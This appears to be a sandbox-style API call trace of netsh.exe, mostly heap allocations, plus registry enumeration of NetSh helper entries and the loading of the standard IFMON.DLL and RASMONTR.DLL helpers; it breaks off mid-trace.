RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fcc0 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230000 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.542] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ff40 [0135.542] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230320 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230360 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230060 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362303a0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230200 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230380 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fd40 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fd60 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230260 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230080 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230140 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362301a0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230020 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362300c0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fd20 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fe60 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ff80 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230100 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230300 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fd80 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fe80 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ff20 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362300e0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362302a0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ff60 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.543] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362303e0 [0135.543] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fca0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230220 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ffc0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fe00 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fec0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230120 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fda0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fc80 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362302c0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ffe0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fde0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622fea0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b43622ff00 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230240 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230550 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230850 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230ab0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230bb0 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.544] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230990 [0135.544] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230710 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362306f0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230bf0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230730 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230750 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362309b0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230510 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230790 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362304d0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230770 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230b10 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230a50 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230a90 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230ad0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230570 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362307d0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362307b0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230b30 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230490 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230bd0 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230a30 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230810 [0135.545] GetProcessHeap () returned 0x2b436220000 [0135.545] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362305b0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362308b0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230870 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230af0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230830 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230890 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362309d0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362309f0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230a70 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362308d0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230a10 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230c10 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362308f0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230b50 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362304b0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230b70 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230b90 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230910 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230690 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362304f0 [0135.546] GetProcessHeap () returned 0x2b436220000 [0135.546] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230930 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362305d0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230530 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230950 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230970 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230590 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362307f0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230650 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362305f0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230670 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230610 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230630 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362306b0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362306d0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230fe0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231420 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231320 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231000 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362312c0 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231180 [0135.547] GetProcessHeap () returned 0x2b436220000 [0135.547] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231020 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231360 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230ce0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362312e0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230fa0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362313c0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231340 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230f20 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230f40 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230ca0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230cc0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231040 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362311e0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230f80 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231300 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230f60 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230d00 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b4362313a0 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230e40 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436230e20 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.548] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231220 [0135.548] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x10) returned 0x2b436231060 [0135.549] _wcsicmp (_String1="netsh.exe", _String2="ipxmontr.dll") returned 5 [0135.549] _wcsicmp (_String1="netsh.exe", _String2="ipxpromn.dll") returned 5 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x28) returned 0x2b4362286e0 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x2) returned 0x2b43622dc10 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x14) returned 0x2b4362310a0 [0135.549] _wcsupr (in: _String="netsh.exe" | out: _String="NETSH.EXE") returned="NETSH.EXE" [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x58) returned 0x2b4362256b0 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x0) returned 1 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0xb0) returned 0x2b436225030 [0135.549] GetProcessHeap () returned 0x2b436220000 [0135.549] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362256b0) returned 1 [0135.549] LoadLibraryExW (lpLibFileName="api-ms-win-appmodel-runtime-l1-1-0.dll", hFile=0x0, dwFlags=0x8) returned 0x7ffcbe760000 [0135.551] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\NetSh", ulOptions=0x0, samDesired=0x20019, phkResult=0xf524ef77b8 | out: phkResult=0xf524ef77b8*=0xb4) returned 0x0 [0135.551] RegQueryInfoKeyW (in: hKey=0xb4, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xf524ef77f0, lpcbMaxValueNameLen=0xf524ef7800, lpcbMaxValueLen=0xf524ef77f8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0xf524ef77f0*=0x14, lpcbMaxValueNameLen=0xf524ef7800, lpcbMaxValueLen=0xf524ef77f8, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0135.551] GetProcessHeap () returned 0x2b436220000 [0135.551] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x8, Size=0x16) returned 0x2b436231240 [0135.551] GetProcessHeap () returned 0x2b436220000 [0135.551] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x8, Size=0x23) returned 0x2b436228620 [0135.551] RegEnumValueW (in: hKey=0xb4, dwIndex=0x0, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="2", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.551] _wcsicmp (_String1="ifmon.dll", _String2="ipxmontr.dll") returned -10 [0135.551] _wcsicmp (_String1="ifmon.dll", _String2="ipxpromn.dll") returned -10 [0135.552] GetProcessHeap () returned 0x2b436220000 [0135.552] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x50) returned 0x2b4362315d0 [0135.552] GetProcessHeap () returned 0x2b436220000 [0135.552] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4) returned 0x2b43622dbe0 [0135.552] GetProcessHeap () returned 0x2b436220000 [0135.552] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x14) returned 0x2b436230d60 [0135.552] _wcsupr (in: _String="ifmon.dll" | out: _String="IFMON.DLL") returned="IFMON.DLL" [0135.552] GetProcessHeap () returned 0x2b436220000 [0135.552] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362286e0) returned 1 [0135.552] LoadLibraryExW (lpLibFileName="IFMON.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb76b0000 [0135.706] GetProcAddress (hModule=0x7ffcb76b0000, lpProcName="InitHelperDll") returned 0x7ffcb76b1310 [0135.706] InitHelperDll () returned 0x0 [0135.708] RegisterHelper () returned 0x0 [0135.708] GetProcessHeap () returned 0x2b436220000 [0135.708] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x108) returned 0x2b4362242e0 [0135.708] GetProcessHeap () returned 0x2b436220000 [0135.708] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b436225030) returned 1 [0135.711] RegEnumValueW (in: hKey=0xb4, dwIndex=0x1, lpValueName=0x2b436231240, lpcchValueName=0xf524ef77b0, lpReserved=0x0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808 | out: lpValueName="4", lpcchValueName=0xf524ef77b0, lpType=0x0, lpData=0x2b436228620, lpcbData=0xf524ef7808) returned 0x0 [0135.711] _wcsicmp (_String1="rasmontr.dll", _String2="ipxmontr.dll") returned 9 [0135.711] _wcsicmp (_String1="rasmontr.dll", _String2="ipxpromn.dll") returned 9 [0135.711] GetProcessHeap () returned 0x2b436220000 [0135.711] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x78) returned 0x2b436225030 [0135.711] GetProcessHeap () returned 0x2b436220000 [0135.711] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x4) returned 0x2b43622dbd0 [0135.711] GetProcessHeap () returned 0x2b436220000 [0135.712] RtlAllocateHeap (HeapHandle=0x2b436220000, Flags=0x0, Size=0x1a) returned 0x2b4362286e0 [0135.712] _wcsupr (in: _String="rasmontr.dll" | out: _String="RASMONTR.DLL") returned="RASMONTR.DLL" [0135.712] GetProcessHeap () returned 0x2b436220000 [0135.712] RtlFreeHeap (HeapHandle=0x2b436220000, Flags=0x0, BaseAddress=0x2b4362315d0) returned 1 [0135.712] LoadLibraryExW (lpLibFileName="RASMONTR.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcb6ba0000 [0135.806] LoadLibraryExA (lpLibFileName="MSVCRT.DLL", hFile=0x0, dwFlags=0x800) returned 0x7ffcc0bb0000 [0135.806] GetVersion () returned 0x3ad7000a [0135.806] SetErrorMode (uMode=0x0) returned 0x0 [0135.806] SetErrorMode (uMode=0x8001) returned 0x0 [0135.807] LocalAlloc (uFlags=0x0, uBytes=0x2000) returned 0x2b436242bb0 [0135.807] LocalFree (hMem=0x2b436242bb0) returned 0x0 [0135.807] GetVersion () returned 0x3ad7000a [0135.807] GlobalLock (hMem=0x2b4363f0008) returned 0x2b436242bb0 [0135.808] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x2b436242dd0 [0135.808] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x2b436239360 [0135.808] LocalAlloc (uFlags=0x0, uBytes=0x10) returned 0x2b4362312a0 [0135.808] malloc (_Size=0x100) returned 0x2b4365115f0 [0135.808] 